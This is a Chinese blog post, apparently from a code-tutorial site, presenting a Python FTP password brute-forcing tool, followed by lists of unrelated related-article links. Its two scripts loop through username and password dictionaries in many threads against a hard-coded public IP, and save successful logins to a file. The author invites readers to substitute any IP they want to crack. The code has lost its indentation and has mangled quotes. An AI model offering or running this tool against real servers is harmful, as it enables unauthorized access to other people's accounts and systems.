python编写暴力破解FTP密码小工具


Posted in Python onNovember 19, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 

import time 

import threading
class mythread(threading.Thread): 

def __init__(self,command): 

threading.Thread.__init__(self) 

self.command=command 

def run(self): 

kk=os.system(self.command) 

ushand=open(“user.txt”,”r”) 

pshand=open(“passwd.txt”,”r”) 

listuser=[] 

listpass=[] 

for us in open(“user.txt”,”r”): 

lineus=ushand.readline().strip(‘\n') 

listuser.append(lineus) 

for ps in open(“passwd.txt”,”r”): 

lineps=pshand.readline().strip(‘\n') 

listpass.append(lineps) 

for i in listuser: 

for j in listpass: 

command=”ftp.py %s %s” %(i,j) 

print command 

my_thread=mythread(command) 

my_thread.start() 

time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 

import socket 

import sys 

ftp=ftplib.FTP('121.54.175.204′) 

try: 

user=sys.argv[1] 

passwd=sys.argv[2] 
ftp.login(user,passwd) 

hand=open(‘aa.txt','a+') 

hand.write(user+”:”+passwd+”\n”) 

except ftplib.error_perm: 

print “passwd is world”

由于插不近格式,里面的缩进的什么的得自己手动再调节一下

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
python 解析html之BeautifulSoup
Jul 07 Python
python让图片按照exif信息里的创建时间进行排序的方法
Mar 16 Python
python使用wxpython开发简单记事本的方法
May 20 Python
Python输出9*9乘法表的方法
May 25 Python
python实现图片变亮或者变暗的方法
Jun 01 Python
python中requests和https使用简单示例
Jan 18 Python
一百多行python代码实现抢票助手
Sep 25 Python
python pickle存储、读取大数据量列表、字典数据的方法
Jul 07 Python
解决Tensorboard 不显示计算图graph的问题
Feb 15 Python
Python常用数字处理基本操作汇总
Sep 10 Python
Python Charles抓包配置实现流程图解
Sep 29 Python
Python字符串对齐方法使用(ljust()、rjust()和center())
Apr 26 Python
用python读写excel的方法
Nov 18 #Python
kNN算法python实现和简单数字识别的方法
Nov 18 #Python
决策树的python实现方法
Nov 18 #Python
linux 下实现python多版本安装实践
Nov 18 #Python
centos 下面安装python2.7 +pip +mysqld
Nov 18 #Python
朴素贝叶斯算法的python实现方法
Nov 18 #Python
使用django-suit为django 1.7 admin后台添加模板
Nov 18 #Python
You might like
php冒泡排序、快速排序、快速查找、二维数组去重实例分享
2014/04/24 PHP
php计算两个坐标(经度,纬度)之间距离的方法
2015/04/17 PHP
php生成图片验证码
2015/06/09 PHP
PHP+MySQL使用mysql_num_rows实现模糊查询图书信息功能
2018/05/31 PHP
JQuery动态给table添加、删除行 改进版
2011/01/19 Javascript
jquery中prop()方法和attr()方法的区别浅析
2013/09/06 Javascript
JS delegate与live浅析
2013/12/21 Javascript
Svg.js实例教程及使用手册详解(一)
2016/05/16 Javascript
jQuery实现按钮点击遮罩加载及处理完后恢复的效果
2016/06/07 Javascript
js实现统计字符串中特定字符出现个数的方法
2016/08/02 Javascript
JavaScript实现类似拉勾网的鼠标移入移出效果
2016/10/27 Javascript
JS实现动态给标签控件添加事件的方法示例
2017/05/13 Javascript
jQuery第一次运行页面默认触发点击事件的实例
2018/01/10 jQuery
Vue官网todoMVC示例代码
2018/01/29 Javascript
微信小程序实现签到功能
2018/10/31 Javascript
react的滑动图片验证码组件的示例代码
2019/02/27 Javascript
了解JavaScript函数中的默认参数
2019/05/30 Javascript
微信小程序 WXML节点信息查询详解
2019/07/29 Javascript
解决Vue在Tomcat8下部署页面不加载的问题
2019/11/12 Javascript
Bootstrap FileInput实现图片上传功能
2021/01/28 Javascript
Python中decorator使用实例
2015/04/14 Python
详解使用pymysql在python中对mysql的增删改查操作(综合)
2017/01/18 Python
Python双精度浮点数运算并分行显示操作示例
2017/07/21 Python
django文档学习之applications使用详解
2018/01/29 Python
python如何实现异步调用函数执行
2019/07/08 Python
深入学习python多线程与GIL
2019/08/26 Python
解决Tensorboard 不显示计算图graph的问题
2020/02/15 Python
Python抓包并解析json爬虫的完整实例代码
2020/11/03 Python
CSS3绘制圆角矩形的简单示例
2015/09/28 HTML / CSS
HTML5中的nav标签学习笔记
2016/06/24 HTML / CSS
美国在线旅行社:Crystal Travel
2018/09/11 全球购物
SportsDirect.com新加坡:英国第一体育零售商
2019/03/30 全球购物
企业人事任命书
2014/06/05 职场文书
员工薪酬激励方案
2014/06/13 职场文书
关于应聘教师的自荐信
2016/01/28 职场文书
Python加密技术之RSA加密解密的实现
2022/04/08 Python